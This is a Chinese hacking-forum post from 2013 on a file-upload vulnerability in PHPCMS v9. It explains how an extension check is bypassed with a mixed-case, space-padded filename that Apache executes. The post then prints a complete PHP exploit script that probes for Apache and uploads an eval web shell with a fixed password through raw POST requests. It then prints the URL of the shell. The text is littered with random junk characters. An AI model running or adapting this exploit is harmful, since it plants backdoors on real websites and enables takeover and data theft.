找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2501|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行2 y, M5 x( e) W) p2 x4 i; n
" U' {. m& H% z+ ^1 s
简要描述:
& O1 H0 v7 v& P( I8 d
8 a9 `8 ~3 H* ^& ]2 X. i1 p5 gphpcms v9 getshell (apache)
8 L( N* K4 Q  `详细说明:
8 Y/ o9 Y+ T$ b) x4 _, s. R5 s/ b( f: D0 |& z& y1 R' h& {& y* \2 l
漏洞文件:phpcms\modules\attachment\attachments.php+ s' L7 [: f3 v5 ?! _# _+ u
$ o" g$ N8 N/ D3 g5 n
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
7 L( V7 A8 t, |5 P( ^后缀检测:phpcms\modules\attachment\functions\global.func.php
! _' w; o' P! I" F$ S' G5 {' ~& @& e* d: p9 n
. o, F; u+ b! u, x$ l0 ]
: G1 D% r) R( H/ v1 O: M, u
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  - e$ y" ]% l) |2 n& h* I+ K0 e8 b* h
0 G- W! e9 P. j6 F. ~3 ^
关键函数:8 G4 F6 i3 Q( i' O

3 \* @1 p7 V$ q" P1 y& L7 ^: @
) n; A: q4 T- @' b. |( F/ J+ W. ^: `4 K# X' A# U
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
6 `1 T; i7 d6 E: `/ E* g# h& o1 u* u
  Fileext函数是对文件后缀名的提取。/ _  ?7 `) i# U/ q# \  ~
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" f' `4 q- i# ?. E经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
. w: e8 |5 c: ?0 l0 c0 I; C我们回到public function crop_upload() 函数中
. Q# |' t, q4 v. w  Wif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();- E& T& |+ H/ [: e9 N' `
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数: v* F! w" Z( V- G' R
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
4 C! T' h- v* _" W2 `经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
4 ^- O! ?$ z/ N  \最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。% ?) j  q& m* A
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
; }4 h; y6 e9 m- l. E1 d+ T  R漏洞证明:
$ r" L7 A' V) ^2 _" d& _* [# @1 C9 y! Y
exp:
- s8 X+ e8 P8 s/ S% r; ?, y0 V& _/ D( `/ C) M. S/ {# j
<?php# l# @3 Q0 ?: Z6 S7 o* Y) A3 ~
error_reporting(E_ERROR);; B2 Z! s' q$ C) W5 v8 u1 y' |
set_time_limit(0);
# \2 R3 n8 V( f3 Z1 x6 T$pass="ln";
2 R$ X5 [, v% H: F; h; J3 N, g6 y# b8 Mprint_r('' w& F* L2 A, f, J
+---------------------------------------------------------------------------+
" E' _6 H" J4 M8 e$ f0 N0 u- ^PHPCms V9 GETSHELL 0DAY
$ T" k3 j% x+ ?' h, Jcode by L.N.# I3 E' b! p4 t* U- `- |

8 f) l( U6 {% j% V+ w* x- }/ Eapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
5 u+ U: C; m4 f8 Y1 k+---------------------------------------------------------------------------+
. t2 J' E' V7 o4 ]) f; T/ F');, R. z" p& M( a8 I4 v
if ($argc < 2) {+ e) C; L) T. r
print_r('
1 S4 {/ l: O, g: @3 w& S+---------------------------------------------------------------------------+
6 ?3 z1 X/ O7 S; LUsage: php '.$argv[0].' url path; U' a" l6 t) D6 ^2 s4 }# z

# x0 @* z  [) ^9 y4 NExample:  u) u0 V6 v+ M6 k! N# M
1.php '.$argv[0].' lanu.sinaapp.com& M% I: Z$ E0 U& [! S1 b
2.php '.$argv[0].' lanu.sinaapp.com /phpcms1 d& {2 T, J3 Z3 ]& H2 {
+---------------------------------------------------------------------------+
/ }4 h# e  b( n* O1 k3 L');
5 I! e7 ~( O% f3 o4 P6 e  \9 I' kexit;
+ v) U1 {- ^# r! H# o1 z+ H}
  M+ P9 ?5 Z- v" ]4 y, v5 p3 J! L! I
$url = $argv[1];
9 L' d: v: \2 y8 Z6 s5 k; }$path = $argv[2];# r- Y( N; @- P) D
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';! f% A  S9 }0 G9 e0 z& C2 S
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';& K2 o: p/ p0 q* X$ F
if($ret=Create_dir($url,$path))% _2 Y  ^5 O2 t: Q* |
{
- r; z3 w9 O/ `, I//echo $ret;' B7 S  }& |1 i, @8 Q2 J
$pattern = "|Server:[^,]+?|U";
/ j- X1 z0 H+ m. z7 ?. qpreg_match_all($pattern, $ret, $matches);
0 Y* Z! @; t, K' B: ?9 \0 L9 zif($matches[0][0])0 D: I3 k6 y- _
{
" Z  H9 J! O4 X1 gif(strpos($matches[0][0],'Apache') == false); w+ N# D, s" L1 u7 I
{
1 s' b+ P- z- H; Vecho "\n亲!此网站不是apache的网站。\n";exit;
' L1 E' P3 g! p# a3 u/ f% o; K}! ?' R2 N9 Y1 v, f
}3 ~7 s& @* ?+ E
$ret = GetShell($url,$phpshell,$path,$file);2 P+ m4 i6 t0 j/ ]! J
$pattern = "|http:\/\/[^,]+?\.,?|U";5 U+ ^" i4 g4 H0 p! f
preg_match_all($pattern, $ret, $matches);0 e. D0 R* @( I1 k, W$ d! o
if($matches[0][0])3 s* O+ ~+ i. l2 U4 d" L9 x
{
2 ~/ Q2 f7 A3 M5 Y. u5 d+ {echo "\n".'密码为: '.$pass."\n";2 Z' {( s) `1 `) e' L, ^
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
0 N! U$ I5 F# p# d5 Q6 Q}
! Q4 L. {: Q( G5 U% j5 belse
5 c% C0 v) C: t6 Z' J, X{$ p! [% J$ c! M/ a. f% L, \& X# W; N- g
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
: C1 N0 o3 K  }, opreg_match_all($pattern, $ret, $matches);
" U( c7 f- E) y- N& _if($matches[0][0])4 v$ R7 g7 \. y( \, G* R
{( n$ @. _% J3 ?) p; i9 A
echo "\n".'密码为: '.$pass."\n";
" Y$ u; x7 E) techo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;3 F5 q) F0 G4 S2 A
}
" w) u+ A% s. c2 P7 Q' Relse
6 d& G  Y; _+ I1 A5 l, K{
5 \' @4 m4 a! T2 h9 ?& F6 ~# Necho "\r\n没得到!\n";exit;
0 j1 m7 w% q) a: N- x}8 n+ a% C! h# j8 }8 o1 m1 Q2 k
}' n% S+ D( f, Q
}3 k( A- S, w6 V( N+ z

' e8 y) ?7 n1 A, R9 Mfunction GetShell($url,$shell,$path,$js)  g: g8 x/ ^+ {/ y  Q
{
: k! i# K; [( Y2 _$ ~- B8 \$ p* ?$content =$shell;
- X( |* ~: W4 `0 T, F3 J( K$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";% I# a1 ]7 ]' E6 u1 K5 _: z* M6 E
$data .= "Host: ".$url."\r\n";
0 N& `& ]" U( b+ d5 k$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";& i' J& O5 {4 c! c; a3 l9 e! N$ e
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
, o# k9 `$ u- P5 c$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";- q+ d. O5 J$ c. a5 d
$data .= "Connection: close\r\n";5 Y" J& Z$ k$ A8 ?/ @8 G& b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
' S1 Z% N  k$ ^: G. l$data .= $content."\r\n";- t5 N8 l: ~( v, ]' D% P* F3 ~
$ock=fsockopen($url,80);
2 i  O0 Z$ E! c, E" ?6 mif (!$ock)
# n5 s5 Z( k5 E& K6 l{; M0 T. B$ Z. s# q$ I
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
# l& }  E7 e, y% l' d9 D}7 B3 {4 }, {3 L" b, j& B! F$ ?3 e
else; J" _* |+ p# d7 v0 ^3 s
{- ~) F, ]/ F5 ^6 I/ e
fwrite($ock,$data);! M4 p9 m! l; j
$resp = '';
' S# @/ v+ M/ b7 A  d& @while (!feof($ock))
/ w7 K: V! C2 N{; l8 v# Y& h4 z- |% l
$resp.=fread($ock, 1024);8 J1 B6 `- ?2 Q2 n
}
/ M( y  H6 ~# I1 X! r( I7 sreturn $resp;
' @; K7 p1 Q% e0 t$ t}1 H; A/ b1 Y4 h3 G  B6 ], P
}0 \" ^  p  J- ^+ B
0 @" c& c7 D" O; s! c
function Create_dir($url,$path='')
& U* y. K* t! o1 Q* p{
! A6 `' {" m2 V: {$content ='I love you';) M* X+ r7 `8 f6 w4 o  j# I
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- q: L* o+ f( U# O, x$data .= "Host: ".$url."\r\n";
. q, Y3 N3 S! M( j* k2 z$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ L' P5 ]% W( p. Q# H
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";! q) O3 k- f: M: t: M9 S
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( n' h- }8 d+ Q1 Q4 S  G$data .= "Connection: close\r\n";6 y( S4 @7 f8 `- x) o- k4 \
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" s4 O6 [5 {1 f! L" `; l. M
$data .= $content."\r\n";' L# ?: ^- t( C& R7 w7 E
$ock=fsockopen($url,80);) ]+ ?/ ]* \% `
if (!$ock)
, d. Y* n: \* P7 m1 B{% e+ w7 ^6 m1 P! V9 ?8 @
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;* e, d5 X* W  D# [4 ^% o8 `
}
( K& W+ h4 \" ifwrite($ock,$data);
" B! a; a+ d2 O% ?( Q0 @. |* z$resp = '';0 ^0 k: y4 Y! u6 j/ R8 u4 O
while (!feof($ock)); h# M+ h+ m. Y
{
% X! z* g- K% A# \7 r5 b$resp.=fread($ock, 1024);
( L8 }- Y' y1 L3 z% ^9 |}
3 n0 [) r4 y- N- @. |2 Nreturn $resp;2 k& `6 y/ m- |- I1 x
}
9 r$ J8 b. {# J. i?>
9 a: B( Y! ?- a7 @8 a" m/ ^
+ G# p, [5 V$ Y2 B# W8 r修复方案:8 |2 ~8 |4 _: r  D

6 n5 e* \6 F5 k+ h3 N过滤过滤再过滤  Q4 T5 T, q& t+ w
9 I% I; V+ @" G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表